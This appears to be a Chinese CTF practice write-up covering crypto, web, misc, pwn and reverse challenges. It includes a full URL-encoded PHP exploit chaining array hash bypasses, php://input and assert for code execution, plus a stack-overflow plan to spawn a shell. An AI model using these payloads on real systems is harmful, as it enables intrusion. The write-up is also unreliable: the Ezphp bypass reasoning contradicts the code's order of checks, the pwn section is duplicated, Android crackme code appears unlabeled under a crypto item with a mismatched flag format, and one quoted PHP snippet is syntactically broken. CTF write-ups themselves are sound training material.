第一轮 1.Crypto [LitCTF 2023]Hex?Hex!(初级) #古典密码 #Base家族 #其他 题目描述: 如果你也和我一样知道hex的话,那我觉得,这件事,太酷啦!
4c69744354467b746169313131636f6f6c6c616161217d
十六进制转字符即可
LitCTF{tai111coollaaa!}
2.Web [BJDCTF 2020]Ezphp 环境:http://node4.anna.nssctf.cn:28905/
Ctrl+U查看源代码
**GFXEIM3YFZYGQ4A=**显然是线索。
全大写+等号,推测是base32编码。放入CyberChef解码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php highlight_file (__FILE__ ); error_reporting (0 ); $file = "1nD3x.php" ;$shana = $_GET ['shana' ];$passwd = $_GET ['passwd' ];$arg = '' ;$code = '' ;echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>" ;if ($_SERVER ) { if ( preg_match ('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' , $_SERVER ['QUERY_STRING' ]) ) die ('You seem to want to do something bad?' ); } if (!preg_match ('/http|https/i' , $_GET ['file' ])) { if (preg_match ('/^aqua_is_cute$/' , $_GET ['debu' ]) && $_GET ['debu' ] !== 'aqua_is_cute' ) { $file = $_GET ["file" ]; echo "Neeeeee! Good Job!<br>" ; } } else die ('fxck you! What do you want to do ?!' ); if ($_REQUEST ) { foreach ($_REQUEST as $value ) { if (preg_match ('/[a-zA-Z]/i' , $value )) die ('fxck you! I hate English!' ); } } if (file_get_contents ($file ) !== 'debu_debu_aqua' ) die ("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" ); if ( sha1 ($shana ) === sha1 ($passwd ) && $shana != $passwd ){ extract ($_GET ["flag" ]); echo "Very good! you know my password. But what is flag?<br>" ; } else { die ("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); } if (preg_match ('/^[a-z0-9]*$/isD' , $code ) || preg_match ('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' , $arg ) ) { die ("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" ); } else { include "flag.php" ; $code ('' , $arg ); } ?> 这是一个非常简单的挑战,如果你解决,我会给你一面旗帜。祝你好运! 你!我讨厌英语!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <code><span style="color: #000000" > <span style="color: #0000BB" ><?php <br />highlight_file</span><span style="color: #007700" >(</span><span style="color: #0000BB" >__FILE__ </span><span style="color: #007700" >); <br /></span><span style="color: #0000BB" >error_reporting</span><span style="color: #007700" >(</span><span style="color: #0000BB" >0 </span><span style="color: #007700" >); <br /> <br /></span><span style="color: #0000BB" >$file </span><span style="color: #007700" >= </span><span style="color: #DD0000" >"1nD3x.php" </span><span style="color: #007700" >; <br /></span><span style="color: #0000BB" >$shana </span><span style="color: #007700" >= </span><span style="color: #0000BB" >$_GET </span><span style="color: #007700" >[</span><span style="color: #DD0000" >'shana' </span><span style="color: #007700" >]; <br /></span><span style="color: #0000BB" >$passwd </span><span style="color: #007700" >= </span><span style="color: #0000BB" >$_GET </span><span style="color: #007700" >[</span><span style="color: #DD0000" >'passwd' </span><span style="color: #007700" >]; <br /></span><span style="color: #0000BB" >$arg </span><span style="color: #007700" >= </span><span style="color: #DD0000" >'' </span><span style="color: #007700" >; <br /></span><span style="color: #0000BB" >$code </span><span style="color: #007700" >= </span><span style="color: #DD0000" >'' </span><span style="color: #007700" >; <br /> <br />echo </span><span style="color: #DD0000" >"<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>" </span><span style="color: #007700" >; <br /> <br />if (</span><span style="color: #0000BB" >$_SERVER </span><span style="color: #007700" >) { <br /> if ( <br /> </span><span style="color: #0000BB" >preg_match</span><span style="color: #007700" >(</span><span style="color: #DD0000" >'/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' </span><span style="color: #007700" >, </span><span style="color: #0000BB" >$_SERVER </span><span style="color: #007700" >[</span><span style="color: #DD0000" >'QUERY_STRING' </span><span style="color: #007700" >]) <br /> ) <br /> die (</span><span style="color: #DD0000" >'You seem to want to do something bad?' </span><span style="color: #007700" >); <br />} <br /> <br />if (!</span><span style="color: #0000BB" >preg_match</span><span style="color: #007700" >(</span><span style="color: #DD0000" >'/http|https/i' </span><span style="color: #007700" >, </span><span style="color: #0000BB" >$_GET </span><span style="color: #007700" >[</span><span style="color: #DD0000" >'file' </span><span style="color: #007700" >])) { <br /> if (</span><span style="color: #0000BB" >preg_match</span><span style="color: #007700" >(</span><span style="color: #DD0000" >'/^aqua_is_cute$/' </span><span style="color: #007700" >, </span><span style="color: #0000BB" >$_GET </span><span style="color: #007700" >[</span><span style="color: #DD0000" >'debu' </span><span style="color: #007700" >]) && </span><span style="color: #0000BB" >$_GET </span><span style="color: #007700" >[</span><span style="color: #DD0000" >'debu' </span><span style="color: #007700" >] !== </span><span style="color: #DD0000" >'aqua_is_cute' </span><span style="color: #007700" >) { <br /> </span><span style="color: #0000BB" >$file </span><span style="color: #007700" >= </span><span style="color: #0000BB" >$_GET </span><span style="color: #007700" >[</span><span style="color: #DD0000" >"file" </span><span style="color: #007700" >]; <br /> echo </span><span style="color: #DD0000" >"Neeeeee! Good Job!<br>" </span><span style="color: #007700" >; <br /> } <br />} else die (</span><span style="color: #DD0000" >'fxck you! What do you want to do ?!' </span><span style="color: #007700" >); <br /> <br />if (</span><span style="color: #0000BB" >$_REQUEST </span><span style="color: #007700" >) { <br /> foreach (</span><span style="color: #0000BB" >$_REQUEST </span><span style="color: #007700" >as </span><span style="color: #0000BB" >$value </span><span style="color: #007700" >) { <br /> if (</span><span style="color: #0000BB" >preg_match</span><span style="color: #007700" >(</span><span style="color: #DD0000" >'/[a-zA-Z]/i' </span><span style="color: #007700" >, </span><span style="color: #0000BB" >$value </span><span style="color: #007700" >)) <br /> die (</span><span style="color: #DD0000" >'fxck you! I hate English!' </span><span style="color: #007700" >); <br /> } <br />} <br /> <br />if (</span><span style="color: #0000BB" >file_get_contents</span><span style="color: #007700" >(</span><span style="color: #0000BB" >$file </span><span style="color: #007700" >) !== </span><span style="color: #DD0000" >'debu_debu_aqua' </span><span style="color: #007700" >) <br /> die (</span><span style="color: #DD0000" >"Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" </span><span style="color: #007700" >); <br /> <br /> <br />if ( </span><span style="color: #0000BB" >sha1</span><span style="color: #007700" >(</span><span style="color: #0000BB" >$shana </span><span style="color: #007700" >) === </span><span style="color: #0000BB" >sha1</span><span style="color: #007700" >(</span><span style="color: #0000BB" >$passwd </span><span style="color: #007700" >) && </span><span style="color: #0000BB" >$shana </span><span style="color: #007700" >!= </span><span style="color: #0000BB" >$passwd </span><span style="color: #007700" >){ <br /> </span><span style="color: #0000BB" >extract</span><span style="color: #007700" >(</span><span style="color: #0000BB" >$_GET </span><span style="color: #007700" >[</span><span style="color: #DD0000" >"flag" </span><span style="color: #007700" >]); <br /> echo </span><span style="color: #DD0000" >"Very good! you know my password. But what is flag?<br>" </span><span style="color: #007700" >; <br />} else { <br /> die (</span><span style="color: #DD0000" >"fxck you! you don't know my password! And you don't know sha1! why you come here!" </span><span style="color: #007700" >); <br />} <br /> <br />if (</span><span style="color: #0000BB" >preg_match</span><span style="color: #007700" >(</span><span style="color: #DD0000" >'/^[a-z0-9]*$/isD' </span><span style="color: #007700" >, </span><span style="color: #0000BB" >$code </span><span style="color: #007700" >) || <br /></span><span style="color: #0000BB" >preg_match</span><span style="color: #007700" >(</span><span style="color: #DD0000" >'/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' </span><span style="color: #007700" >, </span><span style="color: #0000BB" >$arg </span><span style="color: #007700" >) ) { <br /> die (</span><span style="color: #DD0000" >"<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" </span><span style="color: #007700" >); <br />} else { <br /> include </span><span style="color: #DD0000" >"flag.php" </span><span style="color: #007700" >; <br /> </span><span style="color: #0000BB" >$code </span><span style="color: #007700" >(</span><span style="color: #DD0000" >'' </span><span style="color: #007700" >, </span><span style="color: #0000BB" >$arg </span><span style="color: #007700" >); <br />} </span><span style="color: #0000BB" >?></span> </span> </code><br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>fxck you! I hate English!
1. 代码分析 首先,我们来梳理一下代码的执行流程和关键条件:
QUERY_STRING检查 :URL中不能包含敏感字符(如shana、debu、aqua等),否则直接退出。
file参数检查 :不能包含http或https,否则直接退出。
debu参数条件 :
正则匹配/^aqua_is_cute$/
$_GET[‘debu’] !== ‘aqua_is_cute’ 满足则将file参数设置为用户输入的值。
$_REQUEST参数检查 :所有参数值不能包含字母,否则退出。
file_get_contents检查 :file_get_contents($file)必须等于’debu_debu_aqua’,否则退出。
sha1比较 :sha1($ shana) === sha1( $passwd)且$ shana != $passwd,否则退出。
code和arg参数检查 :不能包含敏感字符,否则退出。
执行代码 :包含flag.php,执行$ code(‘’, $arg)。
2. 绕过方法 2.1 QUERY_STRING检查 使用URL编码绕过,将敏感字符编码为十六进制格式,例如:
shana → %73%68%61%6e%61
debu → %64%65%62%75
flag → %66%6c%61%67 2.2 debu参数条件绕过 这个条件看起来矛盾,但我们可以 不满足此条件 ,而是通过后续的extract函数覆盖$ file变量。 2.3 $_REQUEST参数检查 所有参数值不能包含字母,我们可以使用 数组 作为参数值,例如:
shana[]=1
passwd[]=2 2.4 file_get_contents检查 使用 php://input 伪协议,通过POST方式提交数据’debu_debu_aqua’,这样file_get_contents($file)就会返回POST的数据。 2.5 sha1比较绕过 利用PHP中sha1(array())返回NULL的特性,使用不同的数组作为参数值,例如:
shana[]=1
passwd[]=2 这样sha1($ shana) === sha1( $passwd)(都返回NULL)且$ shana != $passwd(数组不同)。 2.6 执行代码获取flag 通过extract函数设置$ code和 $arg变量,使用 assert函数 执行任意代码,例如:
flag[code]=assert
flag[arg]=var_dump($ flag) 这样 $code(‘’, $ arg)就会执行var_dump( $flag),输出flag的值。
3. 最终payload
URL :
1 2 3 4 http://node4.anna.nssctf.cn:28905/1nD3x.php?%73%68%61%6e%61%5b%5d=1& %70%61%73%73%77%64%5b%5d=2&%66%6c%61%67%5b%63%6f%64%65%5d=assert& %66%6c%61%67%5b%61%72%67%5d=var_dump%28%24%66%6c%61%67%29& %66%69%6c%65=php%3a%2f%2finput
POST数据 :
4. 执行流程
URL使用URL编码,绕过QUERY_STRING检查。
file参数设置为php://input,不包含http或https,通过检查。
debu参数不存在,不满足条件,但后续extract函数会覆盖$file变量。
shana和passwd参数值为数组,不包含字母,通过$_REQUEST检查。
file_get_contents(php://input)返回POST数据’debu_debu_aqua’,通过检查。
sha1比较使用数组,返回NULL,且数组不同,通过检查。
extract函数设置$ code=assert, $arg=var_dump($flag)。
包含flag.php,执行assert(‘’, var_dump($flag)),输出flag的值。
5. 预期结果 执行上述payload后,页面会输出$flag变量的值,即最终的flag。
这个挑战主要考察了。通过分析代码的执行流程,找出各个条件的绕过方法,最终成功获取flag。
3.Misc [SDCTF 2022]Susan Album Party #图片隐写 #图片分离 #结构隐写 My friend Susan is having a photo album party, but she accidentally corrupted the SD card with all her photos on it! Can you save Susan’s party by recovering her photos?
附件:stub
查看发现是jpeg格式。修改后缀:
题目photos提示有多个图片。可能是叠在一起了。
binwalk和foremost并未提取出结果
搜索FF D8 FF EE 出现三个结果。
把另外两个图片复制出来保存。
这里很坑,明明写得像SOME结果说是S0ME。看来该leet还得leet。
sdctf{FFD8_th3n_S0ME_s7uff_FFD9}
4.Pwn [WUSTCTF 2020]getshell2 #栈溢出 #ret2syscall #栈 附件:service
题目环境:
直接file+checksec
只开启了栈不可执行,应该是栈溢出题目。
使用ROPgadget
找到了sh地址:0x08048670
直接写死:sh_addr = 0x08048670
栈溢出(Stack Overflow) 漏洞:
程序执行完一个函数后,会跳回它被调用的地方,即返回地址(存于栈上)
当攻击者输入超长数据后,会覆盖返回地址(Return Address)
gets()、strcpy() 等属于没有边界检查的函数。
🛠️ 六、完整攻击流程
连接远程服务
p = remote(‘ip’, port)
构造 payload
- 填充 28 字节到返回地址位置
- 覆盖返回地址为 `system`
- 提供 fake return 和 `"sh"` 地址
发送 payload
1 2 3 4 5 6 Python 编辑 1p.sendline(payload)
进入交互模式,输入命令
1 2 3 4 5 6 Python 编辑 1p.interactive() # 之后你就可以输入 ls, cat flag.txt 等
Q1: 为什么不用 "/bin/sh",而用 "sh"?
很多题目为了简化,只放了 "sh"。
在 Linux 中,system("sh") 和 system("/bin/sh") 效果几乎一样,都能弹 shell。
Q2: 0xdeadbeef 是什么?会 crash 吗?
它只是一个“占位符”,表示“随便填个地址”。
只要你在 system 返回前已经拿到 shell,程序是否 crash 都不影响你读 flag。
Q3: 为什么偏移是 28(0x18+4)?
0x18 = 24 字节是 buffer 大小
+4 是 saved ebp(旧的栈基址指针)
总共 28 字节后,才是返回地址
5.Reverse [BJDCTF_2020]Easy 附件:easy.exe
无壳程序,直接分析即可
第二轮 1.Crypto [SWPUCTF 2021 新生赛]traditional #古典密码 #其他
题目:
西方的二进制数学的发明者莱布尼茨,从中国的八卦图当中受到启发,演绎并推论出了数学矩
阵,
最后创造的二进制数学。二进制数学的诞生为计算机的发明奠定了理论基础。而计算机现在改
变
了我们整个世界,改变了我们生活,而他的源头却是来自于八卦图。现在,给你一组由八卦图
方位
组成的密文,你能破解出其中的含义吗?
震坤艮 震艮震 坤巽坤 坤巽震 震巽兑 震艮震 震离艮 震离艮
格式:NSSCTF{}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 bagua_map = { '坤' : '000' , '震' : '001' , '坎' : '010' , '兑' : '011' , '艮' : '100' , '离' : '101' , '巽' : '110' , '乾' : '111' } cipher = "震坤艮 震艮震 坤巽坤 坤巽震 震巽兑 震艮震 震离艮 震离艮" def solve_bagua (ciphertext, mapping ): result = "" for group in ciphertext.split(): binary = '' .join([mapping[trigram] for trigram in group]) result += chr (int (binary[1 :9 ], 2 )) return result if __name__ == "__main__" : flag = solve_bagua(cipher, bagua_map) print (f"NSSCTF{{{flag} ;} ;} " )
NSSCTF{Da01sall}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 package com.example.crackme1;import android.content.Context;import android.os.Bundle;import android.text.Editable;import android.view.View;import android.widget.Button;import android.widget.EditText;import android.widget.Toast;import androidx.appcompat.app.AppCompatActivity;import java.nio.charset.StandardCharsets;import java.security.MessageDigest;public class MainActivity extends AppCompatActivity { public boolean check (CharSequence paramCharSequence) { if (paramCharSequence.length() != 38 ) return false ; if (!paramCharSequence.subSequence(0 , 5 ).toString().equals("flag{" )) return false ; if (paramCharSequence.charAt(paramCharSequence.length() - 1 ) != '}' ) return false ; paramCharSequence = paramCharSequence.subSequence(5 , paramCharSequence.length() - 1 ); StringBuilder stringBuilder = new StringBuilder (); for (byte b = 0 ; b < paramCharSequence.length(); b += 4 ) stringBuilder.append(md5(paramCharSequence.subSequence(b, b + 4 ).toString())); return !!stringBuilder.toString().equals("8393931a16db5a00f464a24abe24b17a9040b57d9cb2cbfa6bdc61d12e9b51f2789e8a8ae9406c969118e75e9bc65c4327fbc7c3accdf2c54675b0ddf3e0a6099b1b81046d525495e3a14ff6eae76eddfa1740cd6bd483da0f7684b2e4ec84b371f07bf95f0113eefab12552181dd832af8d1eb220186400c494db7091e402b0" ); } public String md5 (String paramString) { try { MessageDigest messageDigest = MessageDigest.getInstance("MD5" ); messageDigest.update(paramString.getBytes(StandardCharsets.UTF_8)); byte [] arrayOfByte = messageDigest.digest(); StringBuilder stringBuilder = new StringBuilder (); this (); int i = arrayOfByte.length; for (byte b = 0 ; b < i; b++) { byte b1 = arrayOfByte[b]; if (Integer.toHexString(b1 & 0xFF ).length() == 1 ) { stringBuilder.append("0" ); stringBuilder.append(Integer.toHexString(b1 & 0xFF )); } else { stringBuilder.append(Integer.toHexString(b1 & 0xFF )); } } return stringBuilder.toString(); } catch (Exception exception) { return "" ; } } protected void onCreate (Bundle paramBundle) { super .onCreate(paramBundle); setContentView(2131427356 ); ((Button)findViewById(2131230808 )).setOnClickListener(new View .OnClickListener() { public void onClick (View param1View) { Editable editable = flagInput.getText(); if (MainActivity.this .check((CharSequence)editable)) { Toast.makeText((Context)MainActivity.this , "Right!" , 0 ).show(); } else { Toast.makeText((Context)MainActivity.this , "Wrong!" , 0 ).show(); } } }); } }
check 方法是核心验证方法,它接受一个CharSequence参数并返回布尔值。
方法首先检查输入长度是否为38个字符,如果不是则直接返回false。
然后检查输入的前5个字符是否为”flag{“,如果不是则返回false。
接着检查输入的最后一个字符是否为”}”,如果不是则返回false。
然后从第5个字符开始到倒数第1个字符结束,每4个字符一组,对每组进行MD5哈希处理。
最后将所有哈希结果拼接起来,与一个固定的字符串进行比较,如果相等则返回true,否则返回false。 这个固定的字符串是:8393931a16db5a00f464a24abe24b17a9040b57d9cb2cbfa6bdc61d12e9b51f2789e8a8ae9406c969118e75e9bc65c4327fbc7c3accdf2c54675b0ddf3e0a6099b1b81046d525495e3a14ff6eae76eddfa1740cd6bd483da0f7684b2e4ec84b371f07bf95f0113eefab12552181dd832af8d1eb220186400c494db7091e402b0
法一:hashcat掩码?a?a?a?a分组爆破。
"8393931a16db5a00f464a24abe24b17a",
"9040b57d9cb2cbfa6bdc61d12e9b51f2",
"789e8a8ae9406c969118e75e9bc65c43",
"27fbc7c3accdf2c54675b0ddf3e0a609",
"9b1b81046d525495e3a14ff6eae76edd",
"fa1740cd6bd483da0f7684b2e4ec84b3",
"71f07bf95f0113eefab12552181dd832",
"af8d1eb220186400c494db7091e402b0"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import hashlibimport itertoolstarget_hashes = [ "8393931a16db5a00f464a24abe24b17a" , "9040b57d9cb2cbfa6bdc61d12e9b51f2" , "789e8a8ae9406c969118e75e9bc65c43" , "27fbc7c3accdf2c54675b0ddf3e0a609" , "9b1b81046d525495e3a14ff6eae76edd" , "fa1740cd6bd483da0f7684b2e4ec84b3" , "71f07bf95f0113eefab12552181dd832" , "af8d1eb220186400c494db7091e402b0" ] charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?" def crack_md5 (target_md5, charset ): for chars in itertools.product(charset, repeat=4 ): text = '' .join(chars) md5_hash = hashlib.md5(text.encode()).hexdigest() if md5_hash == target_md5: return text return None flag_parts = [] for i, target_md5 in enumerate (target_hashes): print (f"破解第{i+1 } 组MD5: {target_md5} " ) part = crack_md5(target_md5, charset) if part: print (f" 找到: {part} " ) flag_parts.append(part) else : print (f" 未找到" ) if len (flag_parts) == 8 : flag = "flag{" + '' .join(flag_parts) + "}" print (f"\n找到flag: {flag} " ) else : print (f"\n只找到{len (flag_parts)} 组,无法拼接完整flag" )
分析过程:
解压crackme1.apk,得到dex文件和其他资源文件
使用dex2jar工具将classes.dex、classes2.dex和classes3.dex转换为JAR文件
发现MainActivity类位于classes3-dex2jar.jar文件中
使用javap工具查看MainActivity类的反编译代码,分析了check方法的逻辑
编写Python脚本crack_flag.py,暴力破解了每组4个字符的MD5哈希值
成功破解了所有8组MD5哈希值,得到了flag
NSSCTF{4aea146e9dc7365e4ec931f547284822}
2.Web [SWPUCTF 2021 新生赛]easy_md5 #弱比较 #PHP #数组绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php highlight_file (__FILE__ ); include 'flag2.php' ;if (isset ($_GET ['name' ]) && isset ($_POST ['password' ])){ $name = $_GET ['name' ]; $password = $_POST ['password' ]; if ($name != $password && md5 ($name ) == md5 ($password )){ echo $flag ; else { echo "wrong!" ; } } else { echo 'wrong!' ; } ?>
EXECUTE
漏洞原理
当PHP的 md5() 函数接收 数组 时,会返回 NULL
md5(array(‘1’)) == md5(array(‘2’)) 结果为 true (都返回 NULL )
但 array(‘1’) != array(‘2’) 结果也为 true (不同的数组实例)
因此满足条件 $ name != $password && md5($ name) == md5( $password)
核心漏洞原理
当PHP的 md5() 函数接收 数组 作为参数时,会返回 NULL (而不是报错)。
例如: md5(array(‘1’)) 和 md5(array(‘2’)) 都会返回 NULL 。
因此: md5(array(‘1’)) == md5(array(‘2’)) 结果为 true (因为两个都返回 NULL )。
但 array(‘1’) != array(‘2’) 结果也为 true (因为它们是 不同的数组实例 )。
这就满足了核心条件: $ name != $password && md5($ name) == md5( $password) 。
为什么用数组可以绕过?
GET参数传 name[]=1 :表示 $name 是一个 数组 ,值为 array(‘1’) 。
POST参数传 password[]=2 :表示 $password 是一个 数组 ,值为 array(‘2’) 。
array(‘1’) != array(‘2’) → true (不同数组实例)。
md5(array(‘1’)) == md5(array(‘2’)) → true (都返回 NULL )。
因此条件成立,输出 flag 。
总结 这个题目利用了PHP md5() 函数处理数组时的 特殊行为 (返回NULL),通过构造不同的数组参数,绕过了“值不同但MD5相同”的条件,从而获取到flag。这是Web安全中经典的 类型混淆漏洞 。
3.Misc [西湖论剑 2022]mp3 #Misc文件 #隐写音频 #隐写
把需要分析的mp3文件拖到MP3stego所在目录
Decode.exe -X cipher.mp3
4.Pwn [WUSTCTF 2020]getshell2 #栈溢出 #ret2syscall #栈 附件:service
题目环境:
直接file+checksec
只开启了栈不可执行,应该是栈溢出题目。
使用ROPgadget
找到了sh地址:0x08048670
直接写死:sh_addr = 0x08048670
栈溢出(Stack Overflow) 漏洞:
程序执行完一个函数后,会跳回它被调用的地方,即返回地址(存于栈上)
当攻击者输入超长数据后,会覆盖返回地址(Return Address)
gets()、strcpy() 等属于没有边界检查的函数。
🛠️ 六、完整攻击流程
连接远程服务
p = remote(‘ip’, port)
构造 payload
- 填充 28 字节到返回地址位置
- 覆盖返回地址为 `system`
- 提供 fake return 和 `"sh"` 地址
发送 payload
1 2 3 4 5 6 Python 编辑 1p.sendline(payload)
进入交互模式,输入命令
1 2 3 4 5 6 Python 编辑 1p.interactive() # 之后你就可以输入 ls, cat flag.txt 等
Q1: 为什么不用 "/bin/sh",而用 "sh"?
很多题目为了简化,只放了 "sh"。
在 Linux 中,system("sh") 和 system("/bin/sh") 效果几乎一样,都能弹 shell。
Q2: 0xdeadbeef 是什么?会 crash 吗?
它只是一个“占位符”,表示“随便填个地址”。
只要你在 system 返回前已经拿到 shell,程序是否 crash 都不影响你读 flag。
Q3: 为什么偏移是 28(0x18+4)?
0x18 = 24 字节是 buffer 大小
+4 是 saved ebp(旧的栈基址指针)
总共 28 字节后,才是返回地址
5.Reverse [SEETF 2022]Magic #反调试 #REVERSE 题目描述:There might be a hidden gate to the magical land of flags…
默认值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { _OWORD v3[2]; // [esp-C0h] [ebp-CCh] BYREF __int64 v4; // [esp-A0h] [ebp-ACh] int v5; // [esp-98h] [ebp-A4h] char v6[3]; // [esp-94h] [ebp-A0h] BYREF int v7; // [esp+4h] [ebp-8h] int retaddr; // [esp+Ch] [ebp+0h] v7 = retaddr; v5 = 1725917800; v3[0] = xmmword_403148; strcpy(v6, "h6"); v3[1] = xmmword_403158; v4 = 0x7CE4457476DB4268i64; ((void (__thiscall __noreturn *)(_OWORD *))sub_401290)(v3);
重新用ida32打开magic.exe,进入内核选项 kernel options,取消勾选 进行"无返回"分析 perform no-return analysis,这样分析main 函数内容会更完整。
操作后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // ebp char v4; // di int v5; // ecx FILE *v6; // eax int i; // edi DWORD TickCount; // eax HKEY v10; // [esp-13Ch] [ebp-148h] BYREF DWORD v11; // [esp-138h] [ebp-144h] BYREF __int16 v12; // [esp-134h] [ebp-140h] _OWORD v13[4]; // [esp-130h] [ebp-13Ch] BYREF char v14[24]; // [esp-F0h] [ebp-FCh] BYREF BYTE v15[24]; // [esp-D8h] [ebp-E4h] BYREF _OWORD v16[2]; // [esp-C0h] [ebp-CCh] BYREF __int64 v17; // [esp-A0h] [ebp-ACh] int v18; // [esp-98h] [ebp-A4h] char v19[3]; // [esp-94h] [ebp-A0h] BYREF _OWORD v20[2]; // [esp-90h] [ebp-9Ch] BYREF __int16 v21; // [esp-70h] [ebp-7Ch] char v22; // [esp-6Eh] [ebp-7Ah] _OWORD v23[2]; // [esp-54h] [ebp-60h] BYREF __int16 v24; // [esp-34h] [ebp-40h] __int128 v25; // [esp-30h] [ebp-3Ch] BYREF int v26; // [esp-20h] [ebp-2Ch] char v27; // [esp-1Ch] [ebp-28h] char v28[12]; // [esp-18h] [ebp-24h] BYREF int v29; // [esp-Ch] [ebp-18h] BYREF __int16 v30; // [esp-8h] [ebp-14h] int v31; // [esp+0h] [ebp-Ch] int v32; // [esp+4h] [ebp-8h] int retaddr; // [esp+Ch] [ebp+0h] v31 = v3; v32 = retaddr; v18 = 1725917800; v16[0] = xmmword_403148; strcpy(v19, "h6"); v16[1] = xmmword_403158; v17 = 0x7CE4457476DB4268i64; sub_401290(v16); RegOpenKeyExA(HKEY_LOCAL_MACHINE, (LPCSTR)v16, 0, 0x101u, &v10); v29 = 1741189973; v30 = 96; sub_401290(&v29); v11 = 21; if ( RegQueryValueExA(v10, (LPCSTR)&v29, 0, 0, v15, &v11) ) return -1; v12 = 20; sub_401170(v14); v26 = -405287383; v25 = xmmword_4031F0; v27 = 0; if ( strncmp(v14, (const char *)&v25, 0x14u) ) return -1; v13[0] = xmmword_4031B0; v13[1] = xmmword_4031D0; v13[2] = xmmword_4031C0; v13[3] = xmmword_4031E0; sub_4012F0(v13, v15, v5); sub_4011D0("%s", (char)v13); v6 = _acrt_iob_func(0); fgets(v28, 9, v6); if ( !atoi(v28) ) { sub_4011D0("nope", v4); return -1; } if ( sub_401360(v28) == -1339812568 ) { if ( IsDebuggerPresent() ) goto LABEL_13; v21 = 5692; v20[0] = xmmword_40318C; v22 = 0; v20[1] = xmmword_40319C; sub_401290(v20); sub_4011D0("%s", (char)v20); for ( i = 0; i < 8; ++i ) { TickCount = GetTickCount(); v28[i] -= 10; if ( GetTickCount() - TickCount > 0x5DC ) goto LABEL_13; } v23[0] = xmmword_403200; v23[1] = xmmword_403210; v24 = -10010; sub_401170(v23); if ( IsDebuggerPresent() ) LABEL_13: ExitProcess(0xFFFFFFFF); sub_4011D0("%s", (char)v23); return 0; } else { sub_4011D0("nope", v4); return 0; } }
原因:
部分函数直接调用 ExitProcess 退出而不返回,以阻碍动调。ida识别后认为是结束点,就不分析 main 函数剩下的代码了。